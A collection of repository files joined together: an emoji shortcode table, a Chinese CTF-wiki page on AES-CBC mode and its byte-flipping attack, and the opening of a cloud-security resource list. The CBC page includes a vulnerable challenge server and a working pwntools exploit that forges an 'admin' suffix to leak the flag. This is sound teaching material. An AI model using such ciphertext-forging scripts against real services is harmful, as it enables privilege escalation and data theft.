| :cool: | `:cool:` |
| :free: | `:free:` |
| :ng: | `:ng:` |
| :cinema: | `:cinema:` |
| :koko: | `:koko:` |
| :signal_strength: | `:signal_strength:` |
| :u6e80: | `:u6e80:` |
| :sa: | `:sa:` |
| :restroom: | `:restroom:` |
| :mens: | `:mens:` |
| :womens: | `:womens:` |
| :baby_symbol: | `:baby_symbol:` |
| :no_smoking: | `:no_smoking:` |
| :parking: | `:parking:` |
| :wheelchair: | `:wheelchair:` |
| :metro: | `:metro:` |
| :baggage_claim: | `:baggage_claim:` |
| :accept: | `:accept:` |
| :wc: | `:wc:` |
| :potable_water: | `:potable_water:` |
| :put_litter_in_its_place: | `:put_litter_in_its_place:` |
| :secret: | `:secret:` |
| :congratulations: | `:congratulations:` |
| :m: | `:m:` |
| :passport_control: | `:passport_control:` |
| :left_luggage: | `:left_luggage:` |
| :customs: | `:customs:` |
| :ideograph_advantage: | `:ideograph_advantage:` |
| :cl: | `:cl:` |
| :sos: | `:sos:` |
| :id: | `:id:` |
| :no_entry_sign: | `:no_entry_sign:` |
| :underage: | `:underage:` |
| :no_mobile_phones: | `:no_mobile_phones:` |
| :do_not_litter: | `:do_not_litter:` |
| :non-potable_water: | `:non-potable_water:` |
| :no_bicycles: | `:no_bicycles:` |
| :no_pedestrians: | `:no_pedestrians:` |
| :children_crossing: | `:children_crossing:` |
| :no_entry: | `:no_entry:` |
| :eight_spoked_asterisk: | `:eight_spoked_asterisk:` |
| :sparkle: | `:sparkle:` |
| :eight_pointed_black_star: | `:eight_pointed_black_star:` |
| :heart_decoration: | `:heart_decoration:` |
| :vs: | `:vs:` |
| :vibration_mode: | `:vibration_mode:` |
| :mobile_phone_off: | `:mobile_phone_off:` |
| :chart: | `:chart:` |
| :currency_exchange: | `:currency_exchange:` |
| :aries: | `:aries:` |
| :taurus: | `:taurus:` |
| :gemini: | `:gemini:` |
| :cancer: | `:cancer:` |
| :leo: | `:leo:` |
| :virgo: | `:virgo:` |
| :libra: | `:libra:` |
| :scorpius: | `:scorpius:` |
| :sagittarius: | `:sagittarius:` |
| :capricorn: | `:capricorn:` |
| :aquarius: | `:aquarius:` |
| :pisces: | `:pisces:` |
| :ophiuchus: | `:ophiuchus:` |
| :six_pointed_star: | `:six_pointed_star:` |
| :negative_squared_cross_mark: | `:negative_squared_cross_mark:` |
| :a: | `:a:` |
| :b: | `:b:` |
| :ab: | `:ab:` |
| :o2: | `:o2:` |
| :diamond_shape_with_a_dot_inside: | `:diamond_shape_with_a_dot_inside:` |
| :recycle: | `:recycle:` |
| :end: | `:end:` |
| :back: | `:back:` |
| :on: | `:on:` |
| :soon: | `:soon:` |
| :clock1: | `:clock1:` |
| :clock130: | `:clock130:` |
| :clock10: | `:clock10:` |
| :clock1030: | `:clock1030:` |
| :clock11: | `:clock11:` |
| :clock1130: | `:clock1130:` |
| :clock12: | `:clock12:` |
| :clock1230: | `:clock1230:` |
| :clock2: | `:clock2:` |
| :clock230: | `:clock230:` |
| :clock3: | `:clock3:` |
| :clock330: | `:clock330:` |
| :clock4: | `:clock4:` |
| :clock430: | `:clock430:` |
| :clock5: | `:clock5:` |
| :clock530: | `:clock530:` |
| :clock6: | `:clock6:` |
| :clock630: | `:clock630:` |
| :clock7: | `:clock7:` |
| :clock730: | `:clock730:` |
| :clock8: | `:clock8:` |
| :clock830: | `:clock830:` |
| :clock9: | `:clock9:` |
| :clock930: | `:clock930:` |
| :heavy_dollar_sign: | `:heavy_dollar_sign:` |
| :copyright: | `:copyright:` |
| :registered: | `:registered:` |
| :tm: | `:tm:` |
| :x: | `:x:` |
| :heavy_exclamation_mark: | `:heavy_exclamation_mark:` |
| :bangbang: | `:bangbang:` |
| :interrobang: | `:interrobang:` |
| :o: | `:o:` |
| :heavy_multiplication_x: | `:heavy_multiplication_x:` |
| :heavy_plus_sign: | `:heavy_plus_sign:` |
| :heavy_minus_sign: | `:heavy_minus_sign:` |
| :heavy_division_sign: | `:heavy_division_sign:` |
| :white_flower: | `:white_flower:` |
| :100: | `:100:` |
| :heavy_check_mark: | `:heavy_check_mark:` |
| :ballot_box_with_check: | `:ballot_box_with_check:` |
| :radio_button: | `:radio_button:` |
| :link: | `:link:` |
| :curly_loop: | `:curly_loop:` |
| :wavy_dash: | `:wavy_dash:` |
| :part_alternation_mark: | `:part_alternation_mark:` |
| :trident: | `:trident:` |
| :black_small_square: | `:black_small_square:` |
| :white_small_square: | `:white_small_square:` |
| :black_medium_small_square: | `:black_medium_small_square:` |
| :white_medium_small_square: | `:white_medium_small_square:` |
| :black_medium_square: | `:black_medium_square:` |
| :white_medium_square: | `:white_medium_square:` |
| :black_large_square: | `:black_large_square:` |
| :white_large_square: | `:white_large_square:` |
| :white_check_mark: | `:white_check_mark:` |
| :black_square_button: | `:black_square_button:` |
| :white_square_button: | `:white_square_button:` |
| :black_circle: | `:black_circle:` |
| :white_circle: | `:white_circle:` |
| :red_circle: | `:red_circle:` |
| :large_blue_circle: | `:large_blue_circle:` |
| :large_blue_diamond: | `:large_blue_diamond:` |
| :large_orange_diamond: | `:large_orange_diamond:` |
| :small_blue_diamond: | `:small_blue_diamond:` |
| :small_orange_diamond: | `:small_orange_diamond:` |
| :small_red_triangle: | `:small_red_triangle:` |
| :small_red_triangle_down: | `:small_red_triangle_down:` |
{.plus-first}
### Objects {.row-span-2}
| - | - |
|----------------------------------|------------------------------------|
| :bamboo: | `:bamboo:` |
| :gift_heart: | `:gift_heart:` |
| :dolls: | `:dolls:` |
| :school_satchel: | `:school_satchel:` |
| :mortar_board: | `:mortar_board:` |
| :flags: | `:flags:` |
| :fireworks: | `:fireworks:` |
| :sparkler: | `:sparkler:` |
| :wind_chime: | `:wind_chime:` |
| :rice_scene: | `:rice_scene:` |
| :jack_o_lantern: | `:jack_o_lantern:` |
| :ghost: | `:ghost:` |
| :santa: | `:santa:` |
| :christmas_tree: | `:christmas_tree:` |
| :gift: | `:gift:` |
| :bell: | `:bell:` |
| :no_bell: | `:no_bell:` |
| :tanabata_tree: | `:tanabata_tree:` |
| :tada: | `:tada:` |
| :confetti_ball: | `:confetti_ball:` |
| :balloon: | `:balloon:` |
| :crystal_ball: | `:crystal_ball:` |
| :cd: | `:cd:` |
| :dvd: | `:dvd:` |
| :floppy_disk: | `:floppy_disk:` |
| :camera: | `:camera:` |
| :video_camera: | `:video_camera:` |
| :movie_camera: | `:movie_camera:` |
| :computer: | `:computer:` |
| :tv: | `:tv:` |
| :iphone: | `:iphone:` |
| :phone: | `:phone:` |
| :telephone: | `:telephone:` |
| :telephone_receiver: | `:telephone_receiver:` |
| :pager: | `:pager:` |
| :fax: | `:fax:` |
| :minidisc: | `:minidisc:` |
| :vhs: | `:vhs:` |
| :sound: | `:sound:` |
| :speaker: | `:speaker:` |
| :mute: | `:mute:` |
| :loudspeaker: | `:loudspeaker:` |
| :mega: | `:mega:` |
| :hourglass: | `:hourglass:` |
| :hourglass_flowing_sand: | `:hourglass_flowing_sand:` |
| :alarm_clock: | `:alarm_clock:` |
| :watch: | `:watch:` |
| :radio: | `:radio:` |
| :satellite: | `:satellite:` |
| :loop: | `:loop:` |
| :mag: | `:mag:` |
| :mag_right: | `:mag_right:` |
| :unlock: | `:unlock:` |
| :lock: | `:lock:` |
| :lock_with_ink_pen: | `:lock_with_ink_pen:` |
| :closed_lock_with_key: | `:closed_lock_with_key:` |
| :key: | `:key:` |
| :bulb: | `:bulb:` |
| :flashlight: | `:flashlight:` |
| :high_brightness: | `:high_brightness:` |
| :low_brightness: | `:low_brightness:` |
| :electric_plug: | `:electric_plug:` |
| :battery: | `:battery:` |
| :calling: | `:calling:` |
| :email: | `:email:` |
| :mailbox: | `:mailbox:` |
| :postbox: | `:postbox:` |
| :bath: | `:bath:` |
| :bathtub: | `:bathtub:` |
| :shower: | `:shower:` |
| :toilet: | `:toilet:` |
| :wrench: | `:wrench:` |
| :nut_and_bolt: | `:nut_and_bolt:` |
| :hammer: | `:hammer:` |
| :seat: | `:seat:` |
| :moneybag: | `:moneybag:` |
| :yen: | `:yen:` |
| :dollar: | `:dollar:` |
| :pound: | `:pound:` |
| :euro: | `:euro:` |
| :credit_card: | `:credit_card:` |
| :money_with_wings: | `:money_with_wings:` |
| :e-mail: | `:e-mail:` |
| :inbox_tray: | `:inbox_tray:` |
| :outbox_tray: | `:outbox_tray:` |
| :envelope: | `:envelope:` |
| :incoming_envelope: | `:incoming_envelope:` |
| :postal_horn: | `:postal_horn:` |
| :mailbox_closed: | `:mailbox_closed:` |
| :mailbox_with_mail: | `:mailbox_with_mail:` |
| :mailbox_with_no_mail: | `:mailbox_with_no_mail:` |
| :package: | `:package:` |
| :door: | `:door:` |
| :smoking: | `:smoking:` |
| :bomb: | `:bomb:` |
| :gun: | `:gun:` |
| :hocho: | `:hocho:` |
| :pill: | `:pill:` |
| :syringe: | `:syringe:` |
| :page_facing_up: | `:page_facing_up:` |
| :page_with_curl: | `:page_with_curl:` |
| :bookmark_tabs: | `:bookmark_tabs:` |
| :bar_chart: | `:bar_chart:` |
| :chart_with_upwards_trend: | `:chart_with_upwards_trend:` |
| :chart_with_downwards_trend: | `:chart_with_downwards_trend:` |
| :scroll: | `:scroll:` |
| :clipboard: | `:clipboard:` |
| :calendar: | `:calendar:` |
| :date: | `:date:` |
| :card_index: | `:card_index:` |
| :file_folder: | `:file_folder:` |
| :open_file_folder: | `:open_file_folder:` |
| :scissors: | `:scissors:` |
| :pushpin: | `:pushpin:` |
| :paperclip: | `:paperclip:` |
| :black_nib: | `:black_nib:` |
| :pencil2: | `:pencil2:` |
| :straight_ruler: | `:straight_ruler:` |
| :triangular_ruler: | `:triangular_ruler:` |
| :closed_book: | `:closed_book:` |
| :green_book: | `:green_book:` |
| :blue_book: | `:blue_book:` |
| :orange_book: | `:orange_book:` |
| :notebook: | `:notebook:` |
| :notebook_with_decorative_cover: | `:notebook_with_decorative_cover:` |
| :ledger: | `:ledger:` |
| :books: | `:books:` |
| :bookmark: | `:bookmark:` |
| :name_badge: | `:name_badge:` |
| :microscope: | `:microscope:` |
| :telescope: | `:telescope:` |
| :newspaper: | `:newspaper:` |
| :football: | `:football:` |
| :basketball: | `:basketball:` |
| :soccer: | `:soccer:` |
| :baseball: | `:baseball:` |
| :tennis: | `:tennis:` |
| :8ball: | `:8ball:` |
| :rugby_football: | `:rugby_football:` |
| :bowling: | `:bowling:` |
| :golf: | `:golf:` |
| :mountain_bicyclist: | `:mountain_bicyclist:` |
| :bicyclist: | `:bicyclist:` |
| :horse_racing: | `:horse_racing:` |
| :snowboarder: | `:snowboarder:` |
| :swimmer: | `:swimmer:` |
| :surfer: | `:surfer:` |
| :ski: | `:ski:` |
| :spades: | `:spades:` |
| :hearts: | `:hearts:` |
| :clubs: | `:clubs:` |
| :diamonds: | `:diamonds:` |
| :gem: | `:gem:` |
| :ring: | `:ring:` |
| :trophy: | `:trophy:` |
| :musical_score: | `:musical_score:` |
| :musical_keyboard: | `:musical_keyboard:` |
| :violin: | `:violin:` |
| :space_invader: | `:space_invader:` |
| :video_game: | `:video_game:` |
| :black_joker: | `:black_joker:` |
| :flower_playing_cards: | `:flower_playing_cards:` |
| :game_die: | `:game_die:` |
| :dart: | `:dart:` |
| :mahjong: | `:mahjong:` |
| :clapper: | `:clapper:` |
| :memo: | `:memo:` |
| :pencil: | `:pencil:` |
| :book: | `:book:` |
| :art: | `:art:` |
| :microphone: | `:microphone:` |
| :headphones: | `:headphones:` |
| :trumpet: | `:trumpet:` |
| :saxophone: | `:saxophone:` |
| :guitar: | `:guitar:` |
| :shoe: | `:shoe:` |
| :sandal: | `:sandal:` |
| :high_heel: | `:high_heel:` |
| :lipstick: | `:lipstick:` |
| :boot: | `:boot:` |
| :shirt: | `:shirt:` |
| :tshirt: | `:tshirt:` |
| :necktie: | `:necktie:` |
| :womans_clothes: | `:womans_clothes:` |
| :dress: | `:dress:` |
| :running_shirt_with_sash: | `:running_shirt_with_sash:` |
| :jeans: | `:jeans:` |
| :kimono: | `:kimono:` |
| :bikini: | `:bikini:` |
| :ribbon: | `:ribbon:` |
| :tophat: | `:tophat:` |
| :crown: | `:crown:` |
| :womans_hat: | `:womans_hat:` |
| :mans_shoe: | `:mans_shoe:` |
| :closed_umbrella: | `:closed_umbrella:` |
| :briefcase: | `:briefcase:` |
| :handbag: | `:handbag:` |
| :pouch: | `:pouch:` |
| :purse: | `:purse:` |
| :eyeglasses: | `:eyeglasses:` |
| :fishing_pole_and_fish: | `:fishing_pole_and_fish:` |
| :coffee: | `:coffee:` |
| :tea: | `:tea:` |
| :sake: | `:sake:` |
| :baby_bottle: | `:baby_bottle:` |
| :beer: | `:beer:` |
| :beers: | `:beers:` |
| :cocktail: | `:cocktail:` |
| :tropical_drink: | `:tropical_drink:` |
| :wine_glass: | `:wine_glass:` |
| :fork_and_knife: | `:fork_and_knife:` |
| :pizza: | `:pizza:` |
| :hamburger: | `:hamburger:` |
| :fries: | `:fries:` |
| :poultry_leg: | `:poultry_leg:` |
| :meat_on_bone: | `:meat_on_bone:` |
| :spaghetti: | `:spaghetti:` |
| :curry: | `:curry:` |
| :fried_shrimp: | `:fried_shrimp:` |
| :bento: | `:bento:` |
| :sushi: | `:sushi:` |
| :fish_cake: | `:fish_cake:` |
| :rice_ball: | `:rice_ball:` |
| :rice_cracker: | `:rice_cracker:` |
| :rice: | `:rice:` |
| :ramen: | `:ramen:` |
| :stew: | `:stew:` |
| :oden: | `:oden:` |
| :dango: | `:dango:` |
| :egg: | `:egg:` |
| :bread: | `:bread:` |
| :doughnut: | `:doughnut:` |
| :custard: | `:custard:` |
| :icecream: | `:icecream:` |
| :ice_cream: | `:ice_cream:` |
| :shaved_ice: | `:shaved_ice:` |
| :birthday: | `:birthday:` |
| :cake: | `:cake:` |
| :cookie: | `:cookie:` |
| :chocolate_bar: | `:chocolate_bar:` |
| :candy: | `:candy:` |
| :lollipop: | `:lollipop:` |
| :honey_pot: | `:honey_pot:` |
| :apple: | `:apple:` |
| :green_apple: | `:green_apple:` |
| :tangerine: | `:tangerine:` |
| :lemon: | `:lemon:` |
| :cherries: | `:cherries:` |
| :grapes: | `:grapes:` |
| :watermelon: | `:watermelon:` |
| :strawberry: | `:strawberry:` |
| :peach: | `:peach:` |
| :melon: | `:melon:` |
| :banana: | `:banana:` |
| :pear: | `:pear:` |
| :pineapple: | `:pineapple:` |
| :sweet_potato: | `:sweet_potato:` |
| :eggplant: | `:eggplant:` |
| :tomato: | `:tomato:` |
| :corn: | `:corn:` |
{.plus-first}
### Places
| - | - |
|---------------------------|-----------------------------|
| :house: | `:house:` |
| :house_with_garden: | `:house_with_garden:` |
| :school: | `:school:` |
| :office: | `:office:` |
| :post_office: | `:post_office:` |
| :hospital: | `:hospital:` |
| :bank: | `:bank:` |
| :convenience_store: | `:convenience_store:` |
| :love_hotel: | `:love_hotel:` |
| :hotel: | `:hotel:` |
| :wedding: | `:wedding:` |
| :church: | `:church:` |
| :department_store: | `:department_store:` |
| :european_post_office: | `:european_post_office:` |
| :city_sunrise: | `:city_sunrise:` |
| :city_sunset: | `:city_sunset:` |
| :japanese_castle: | `:japanese_castle:` |
| :european_castle: | `:european_castle:` |
| :tent: | `:tent:` |
| :factory: | `:factory:` |
| :tokyo_tower: | `:tokyo_tower:` |
| :japan: | `:japan:` |
| :mount_fuji: | `:mount_fuji:` |
| :sunrise_over_mountains: | `:sunrise_over_mountains:` |
| :sunrise: | `:sunrise:` |
| :stars: | `:stars:` |
| :statue_of_liberty: | `:statue_of_liberty:` |
| :bridge_at_night: | `:bridge_at_night:` |
| :carousel_horse: | `:carousel_horse:` |
| :rainbow: | `:rainbow:` |
| :ferris_wheel: | `:ferris_wheel:` |
| :fountain: | `:fountain:` |
| :roller_coaster: | `:roller_coaster:` |
| :ship: | `:ship:` |
| :speedboat: | `:speedboat:` |
| :boat: | `:boat:` |
| :sailboat: | `:sailboat:` |
| :rowboat: | `:rowboat:` |
| :anchor: | `:anchor:` |
| :rocket: | `:rocket:` |
| :airplane: | `:airplane:` |
| :helicopter: | `:helicopter:` |
| :steam_locomotive: | `:steam_locomotive:` |
| :tram: | `:tram:` |
| :mountain_railway: | `:mountain_railway:` |
| :bike: | `:bike:` |
| :aerial_tramway: | `:aerial_tramway:` |
| :suspension_railway: | `:suspension_railway:` |
| :mountain_cableway: | `:mountain_cableway:` |
| :tractor: | `:tractor:` |
| :blue_car: | `:blue_car:` |
| :oncoming_automobile: | `:oncoming_automobile:` |
| :car: | `:car:` |
| :red_car: | `:red_car:` |
| :taxi: | `:taxi:` |
| :oncoming_taxi: | `:oncoming_taxi:` |
| :articulated_lorry: | `:articulated_lorry:` |
| :bus: | `:bus:` |
| :oncoming_bus: | `:oncoming_bus:` |
| :rotating_light: | `:rotating_light:` |
| :police_car: | `:police_car:` |
| :oncoming_police_car: | `:oncoming_police_car:` |
| :fire_engine: | `:fire_engine:` |
| :ambulance: | `:ambulance:` |
| :minibus: | `:minibus:` |
| :truck: | `:truck:` |
| :train: | `:train:` |
| :station: | `:station:` |
| :train2: | `:train2:` |
| :bullettrain_front: | `:bullettrain_front:` |
| :bullettrain_side: | `:bullettrain_side:` |
| :light_rail: | `:light_rail:` |
| :monorail: | `:monorail:` |
| :railway_car: | `:railway_car:` |
| :trolleybus: | `:trolleybus:` |
| :ticket: | `:ticket:` |
| :fuelpump: | `:fuelpump:` |
| :vertical_traffic_light: | `:vertical_traffic_light:` |
| :traffic_light: | `:traffic_light:` |
| :warning: | `:warning:` |
| :construction: | `:construction:` |
| :beginner: | `:beginner:` |
| :atm: | `:atm:` |
| :slot_machine: | `:slot_machine:` |
| :busstop: | `:busstop:` |
| :barber: | `:barber:` |
| :hotsprings: | `:hotsprings:` |
| :checkered_flag: | `:checkered_flag:` |
| :crossed_flags: | `:crossed_flags:` |
| :izakaya_lantern: | `:izakaya_lantern:` |
| :moyai: | `:moyai:` |
| :circus_tent: | `:circus_tent:` |
| :performing_arts: | `:performing_arts:` |
| :round_pushpin: | `:round_pushpin:` |
| :triangular_flag_on_post: | `:triangular_flag_on_post:` |
| :jp: | `:jp:` |
| :kr: | `:kr:` |
| :cn: | `:cn:` |
| :us: | `:us:` |
| :fr: | `:fr:` |
| :es: | `:es:` |
| :it: | `:it:` |
| :ru: | `:ru:` |
| :gb: | `:gb:` |
| :uk: | `:uk:` |
| :de: | `:de:` |
{.plus-first}
### Nature
| - | - |
|--------------------------------|----------------------------------|
| :sunny: | `:sunny:` |
| :umbrella: | `:umbrella:` |
| :cloud: | `:cloud:` |
| :snowflake: | `:snowflake:` |
| :snowman: | `:snowman:` |
| :zap: | `:zap:` |
| :cyclone: | `:cyclone:` |
| :foggy: | `:foggy:` |
| :ocean: | `:ocean:` |
| :cat: | `:cat:` |
| :dog: | `:dog:` |
| :mouse: | `:mouse:` |
| :hamster: | `:hamster:` |
| :rabbit: | `:rabbit:` |
| :wolf: | `:wolf:` |
| :frog: | `:frog:` |
| :tiger: | `:tiger:` |
| :koala: | `:koala:` |
| :bear: | `:bear:` |
| :pig: | `:pig:` |
| :pig_nose: | `:pig_nose:` |
| :cow: | `:cow:` |
| :boar: | `:boar:` |
| :monkey_face: | `:monkey_face:` |
| :monkey: | `:monkey:` |
| :horse: | `:horse:` |
| :racehorse: | `:racehorse:` |
| :camel: | `:camel:` |
| :sheep: | `:sheep:` |
| :elephant: | `:elephant:` |
| :panda_face: | `:panda_face:` |
| :snake: | `:snake:` |
| :bird: | `:bird:` |
| :baby_chick: | `:baby_chick:` |
| :hatched_chick: | `:hatched_chick:` |
| :hatching_chick: | `:hatching_chick:` |
| :chicken: | `:chicken:` |
| :penguin: | `:penguin:` |
| :turtle: | `:turtle:` |
| :bug: | `:bug:` |
| :honeybee: | `:honeybee:` |
| :ant: | `:ant:` |
| :beetle: | `:beetle:` |
| :snail: | `:snail:` |
| :octopus: | `:octopus:` |
| :tropical_fish: | `:tropical_fish:` |
| :fish: | `:fish:` |
| :whale: | `:whale:` |
| :whale2: | `:whale2:` |
| :dolphin: | `:dolphin:` |
| :cow2: | `:cow2:` |
| :ram: | `:ram:` |
| :rat: | `:rat:` |
| :water_buffalo: | `:water_buffalo:` |
| :tiger2: | `:tiger2:` |
| :rabbit2: | `:rabbit2:` |
| :dragon: | `:dragon:` |
| :goat: | `:goat:` |
| :rooster: | `:rooster:` |
| :dog2: | `:dog2:` |
| :pig2: | `:pig2:` |
| :mouse2: | `:mouse2:` |
| :ox: | `:ox:` |
| :dragon_face: | `:dragon_face:` |
| :blowfish: | `:blowfish:` |
| :crocodile: | `:crocodile:` |
| :dromedary_camel: | `:dromedary_camel:` |
| :leopard: | `:leopard:` |
| :cat2: | `:cat2:` |
| :poodle: | `:poodle:` |
| :paw_prints: | `:paw_prints:` |
| :bouquet: | `:bouquet:` |
| :cherry_blossom: | `:cherry_blossom:` |
| :tulip: | `:tulip:` |
| :four_leaf_clover: | `:four_leaf_clover:` |
| :rose: | `:rose:` |
| :sunflower: | `:sunflower:` |
| :hibiscus: | `:hibiscus:` |
| :maple_leaf: | `:maple_leaf:` |
| :leaves: | `:leaves:` |
| :fallen_leaf: | `:fallen_leaf:` |
| :herb: | `:herb:` |
| :mushroom: | `:mushroom:` |
| :cactus: | `:cactus:` |
| :palm_tree: | `:palm_tree:` |
| :evergreen_tree: | `:evergreen_tree:` |
| :deciduous_tree: | `:deciduous_tree:` |
| :chestnut: | `:chestnut:` |
| :seedling: | `:seedling:` |
| :blossom: | `:blossom:` |
| :ear_of_rice: | `:ear_of_rice:` |
| :shell: | `:shell:` |
| :globe_with_meridians: | `:globe_with_meridians:` |
| :sun_with_face: | `:sun_with_face:` |
| :full_moon_with_face: | `:full_moon_with_face:` |
| :new_moon_with_face: | `:new_moon_with_face:` |
| :new_moon: | `:new_moon:` |
| :waxing_crescent_moon: | `:waxing_crescent_moon:` |
| :first_quarter_moon: | `:first_quarter_moon:` |
| :waxing_gibbous_moon: | `:waxing_gibbous_moon:` |
| :full_moon: | `:full_moon:` |
| :waning_gibbous_moon: | `:waning_gibbous_moon:` |
| :last_quarter_moon: | `:last_quarter_moon:` |
| :waning_crescent_moon: | `:waning_crescent_moon:` |
| :last_quarter_moon_with_face: | `:last_quarter_moon_with_face:` |
| :first_quarter_moon_with_face: | `:first_quarter_moon_with_face:` |
| :crescent_moon: | `:crescent_moon:` |
| :earth_africa: | `:earth_africa:` |
| :earth_americas: | `:earth_americas:` |
| :earth_asia: | `:earth_asia:` |
| :volcano: | `:volcano:` |
| :milky_way: | `:milky_way:` |
| :partly_sunny: | `:partly_sunny:` |
| :carrot: | `:carrot:` |
{.plus-first}
|
sec-knowleage
|
# CBC
CBC全称为密码分组链接(Cipher-block chaining) 模式,这里
- IV 不要求保密
- IV 必须是不可预测的,而且要保证完整性。
## 加密
## 解密
## 优缺点
### 优点
1. 密文块不仅和当前密文块相关,而且和前一个密文块或 IV 相关,隐藏了明文的统计特性。
2. 具有有限的两步错误传播特性,即密文块中的一位变化只会影响当前密文块和下一密文块。
3. 具有自同步特性,即第 k 块起密文正确,则第 k+1 块就能正常解密。
### 缺点
1. 加密不能并行,解密可以并行。
## 应用
CBC 应用十分广泛
- 常见的数据加密和 TLS 加密。
- 完整性认证和身份认证。
## 攻击
### 字节反转攻击
#### 原理
字节反转的原理十分简单,我们观察**解密过程**可以发现如下特性:
- IV 向量影响第一个明文分组
- 第 n 个密文分组可以影响第 n + 1 个明文分组
假设第$n$个密文分组为$C_n$,解密后的第$n$个明文分组为为$P_n$。
然后$P_{n+1}=C_n~\text{xor}~f(C_{n+1})$。
其中$f$函数为图中的$\text{Block Cipher Decryption}$。
对于某个信息已知的原文和密文,然后我们可以修改第$n$个密文块$C_n$为$C_n~\text{xor}~P_{n+1}~\text{xor}~A$。然后再对这条密文进行解密,那么解密后的第$n$个明文快将会变成$A$。
#### 例题
```python
from flag import FLAG
from Crypto.Cipher import AES
from Crypto import Random
import base64
BLOCK_SIZE=16
IV = Random.new().read(BLOCK_SIZE)
passphrase = Random.new().read(BLOCK_SIZE)
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
prefix = "flag="+FLAG+"&userdata="
suffix = "&user=guest"
def menu():
print "1. encrypt"
print "2. decrypt"
return raw_input("> ")
def encrypt():
data = raw_input("your data: ")
plain = prefix+data+suffix
aes = AES.new(passphrase, AES.MODE_CBC, IV)
print base64.b64encode(aes.encrypt(pad(plain)))
def decrypt():
data = raw_input("input data: ")
aes = AES.new(passphrase, AES.MODE_CBC, IV)
plain = unpad(aes.decrypt(base64.b64decode(data)))
print 'DEBUG ====> ' + plain
if plain[-5:]=="admin":
print plain
else:
print "you are not admin"
def main():
for _ in range(10):
cmd = menu()
if cmd=="1":
encrypt()
elif cmd=="2":
decrypt()
else:
exit()
if __name__=="__main__":
main()
```
可见题目希望我们提供一个加密的字符串,如果这个字符串解密后最后的内容为admin。程序将会输出明文。所以题目流程为先随便提供一个明文,然后将密文进行修改,使得解密后的字符串最后的内容为admin,我们可以枚举flag的长度来确定我们需要在什么位置进行修改。
以下是exp.py
```python
from pwn import *
import base64
pad = 16
data = 'a' * pad
for x in range(10, 100):
r = remote('xxx.xxx.xxx.xxx', 10004)
#r = process('./chall.sh')
r.sendlineafter('> ', '1')
r.sendlineafter('your data: ', data)
cipher = list(base64.b64decode(r.recv()))
#print 'cipher ===>', ''.join(cipher)
BLOCK_SIZE = 16
prefix = "flag=" + 'a' * x + "&userdata="
suffix = "&user=guest"
plain = prefix + data + suffix
idx = (22 + x + pad) % BLOCK_SIZE + ((22 + x + pad) / BLOCK_SIZE - 1) * BLOCK_SIZE
cipher[idx + 0] = chr(ord(cipher[idx + 0]) ^ ord('g') ^ ord('a'))
cipher[idx + 1] = chr(ord(cipher[idx + 1]) ^ ord('u') ^ ord('d'))
cipher[idx + 2] = chr(ord(cipher[idx + 2]) ^ ord('e') ^ ord('m'))
cipher[idx + 3] = chr(ord(cipher[idx + 3]) ^ ord('s') ^ ord('i'))
cipher[idx + 4] = chr(ord(cipher[idx + 4]) ^ ord('t') ^ ord('n'))
r.sendlineafter('> ', '2')
r.sendlineafter('input data: ', base64.b64encode(''.join(cipher)))
msg = r.recvline()
if 'you are not admin' not in msg:
print msg
break
r.close()
```
### Padding Oracle Attack
具体参见下面的介绍。
|
sec-knowleage
|
---
title: 云安全资源
---
<h1 align="center">Awesome Cloud Security 云安全资源汇总 💫 </h1>
<p align="center">
<a href="https://github.com/teamssix/awesome-cloud-security/stargazers" target="_blank"><img alt="GitHub stars" src="https://img.shields.io/github/stars/teamssix/awesome-cloud-security" /></a>
<a href="https://wiki.teamssix.com" target="_blank"><img alt="T Wiki" src="https://img.shields.io/badge/T%20Wiki%20-%E4%BA%91%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a>
<a href="https://wiki.wgpsec.org" target="_blank"><img alt="WgpSec Wiki" src="https://img.shields.io/badge/%E7%8B%BC%E7%BB%84%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F-%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a>
<a href="http://wiki.peiqi.tech" target="_blank"><img alt="PeiQi Wiki" src="https://img.shields.io/badge/PeiQi-%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a>
</a>
<a href="https://twitter.com/intent/tweet/?text=Awesome%20Cloud%20Security%20%20%E4%BA%91%E5%AE%89%E5%85%A8%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB%20%F0%9F%92%AB%20%0Ahttps%3A%2F%2Fgithub.com%2Fteamssix%2Fawesome-cloud-security%0A%23awesome%20%23cloud%20%23security%20%23cloudsecurity%20%23cybersecurtiy" target="_blank"><img alt="tweet" src="https://img.shields.io/twitter/url?url=https://github.com/teamssix/awesome-cloud-security" /></a>
<a href="https://twitter.com/teamssix" target="_blank"><img alt="Twitter" src="https://img.shields.io/twitter/follow/teamssix?label=Followers&style=social" /></a>
<a href="https://github.com/teamssix" target="_blank"><img alt="Github" src="https://img.shields.io/github/followers/TeamsSix?style=social" /></a>
</p></br>
---
## 0x01 资料 :books:
### 1 综合
* T Wiki 云安全知识文库 :fire: [地址](https://wiki.teamssix.com/)
* Hacking The Cloud(英文) [地址](https://hackingthe.cloud/)
* Cloud Security Wiki(英文)[地址](https://cloudsecwiki.com/index.html)
* 云服务漏洞库(英文)[地址](https://www.cloudvulndb.org/)
* 2021 年云安全事件回顾(英文)[地址](https://blog.christophetd.fr/cloud-security-breaches-and-vulnerabilities-2021-in-review/)
* 云渗透技巧 HackTricks Cloud(英文)[地址](https://cloud.hacktricks.xyz)
* 云风险百科(英文)[地址](https://orca.security/resources/cloud-risk-encyclopedia/)
* 火线云安全知识库 [地址](https://cloudsec.huoxian.cn/)
* 云安全文库(英文)[地址](https://cloudsecdocs.com)
* 云渗透笔记 CloudPentestCheatsheets(英文)[地址](https://github.com/dafthack/CloudPentestCheatsheets)  `由「Kfzz1」师傅补充,感谢支持`
* AWS 攻击知识库 WeirdAAL (英文) [地址](https://github.com/carnal0wnage/weirdAAL) 
* T Wiki 云安全知识文库项目 [地址](https://github.com/teamssix/TWiki)  ` T Wiki 文库现已开源,可部署到自己本地方便内网阅读`
* 云安全入门资料 [地址](https://github.com/Esonhugh/Attack_Code) 
* 云安全向导 [地址](https://github.com/GRQForCloud/cloud-security-guides) 
### 2 博客资讯
* 火线安全每日云安全资讯 [地址](https://cloudsec.huoxian.cn/docs/information)
* 腾讯云鼎每日云安全资讯 [地址](https://cloudsec.tencent.com/info/list.html)
